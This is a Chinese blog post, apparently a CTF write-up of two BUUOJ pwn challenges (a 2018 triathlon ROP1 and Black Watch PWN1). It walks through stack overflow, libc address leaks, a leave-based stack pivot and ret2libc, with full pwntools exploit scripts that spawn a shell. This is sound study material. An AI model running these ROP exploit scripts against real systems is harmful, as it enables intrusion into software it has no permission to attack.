• 从前偷懒的日子-2021.4.15


    (1)铁人三项(第五赛区)_2018_rop1


    程序如上,很明显的栈溢出漏洞,然后查看函数表:

    因此推断需要泄露libc的地址。
    利用思路如下:
    (1)利用栈溢出漏洞执行write函数泄露__libc_start_main地址并且返回主函数。
    (2)推断出system的函数地址和’/bin/sh‘的地址。
    (3)然后再次利用栈溢出获得sh
    利用代码如下:

    from LibcSearcher import *
    context.log_level='debug'
    r=process('./2018_rop')
    r=remote('node3.buuoj.cn',27934)
    elf=ELF('./2018_rop')
    write_plt=elf.plt['write']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    payload='a'*(0x88+4)
    +p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    r.sendline(payload)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    payload='a'*140+p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    (2)[Black Watch 入群题]PWN1(知识点:leave,泄露libc)

    程序代码如下:

    可以看到是一个明显的溢出漏洞,但是要注意到该漏洞溢出的数目非常小,只能刚好覆盖返回地址,所以要用到leave这个技术,而上面的s的存储地址是在bss代码段,于是提供了环境。函数表如图:

    可以看到还需要libc。
    综上所述,利用思路如下:
    (1)将leave后的泄露libc的代码写入s中,然后leave,并且返回主函数重复执行。
    (2)再进行一次leave执行system(“/bin/sh”)
    利用代码如下:

    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    r=process('./桌面/spwn')
    # r=remote('node3.buuoj.cn',28183)
    elf=ELF('./桌面/spwn')
    put_plt=elf.plt['puts']
    # print(hex(put_plt))
    write_plt=elf.plt['write']
    # putgot=elf.got['puts']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    leveadd=0x08048511
    sadd=0x0804a300
    r.recvuntil('What is your name?')
    # payload1=p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    payload1=p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    r.send(payload1)
    r.recvuntil('What do you want to say?')
    payload2='a'*24+p32(sadd-4).decode('iso-8859-1')+p32(leveadd).decode('iso-8859-1')#+p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    print(payload2)
    gdb.attach(r)
    r.send(payload2)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    # print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    # # print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    r.recvuntil('ame?')
    payload1=p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload1)
    r.recvuntil('want to say?')
    r.send(payload2)
    r.interactive()
    
  • 相关阅读:
    Vmware
    Centos8
    Jmeter系列(37)- 详解 ForEach控制器
    【解决】k8s 1.15.2 镜像下载方案
    【解决】MacOS下 Python3.7 使用 pyinstaller 打包后执行报错 Failed to execute script pyi_rth__tkinter
    【解决】venv 的名字在 zsh prompt 中不显示
    【解决】could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network
    《Linux 性能优化实战—倪朋飞 》学习笔记 CPU 篇
    【解决】MongoDB 线上业务处理,数据去重脚本实现
    【解决】docker 容器中 consul集群问题处理
  • 原文地址:https://www.cnblogs.com/ring3toring0/p/14663212.html
Copyright © 2020-2023  润新知